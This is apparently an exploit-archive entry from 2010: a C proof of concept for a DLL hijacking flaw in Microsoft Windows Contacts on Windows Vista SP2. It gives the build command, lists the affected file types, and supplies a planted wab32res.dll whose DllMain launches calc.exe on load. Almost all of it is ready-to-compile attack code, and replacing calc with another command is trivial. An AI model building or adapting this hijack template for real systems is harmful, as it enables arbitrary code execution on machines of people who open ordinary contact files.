Microsoft Windows Contacts DLL Hijacking Exploit (wab32res.dll)

/*
Exploit Title: Microsoft Windows Contacts DLL Hijacking Exploit (wab32res.dll)
Date: August 25, 2010
Author: storm (storm@gonullyourself.org)
Tested on: Windows Vista SP2
http://www.gonullyourself.org/
gcc -shared -o wab32res.dll Contacts-DLL.c
.contact, .group, .p7c, .vcf, and .wab files are affected.
*/
#include <windows.h>
int hax()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason, LPVOID lpvReserved)
{
  hax();
  return 0;
}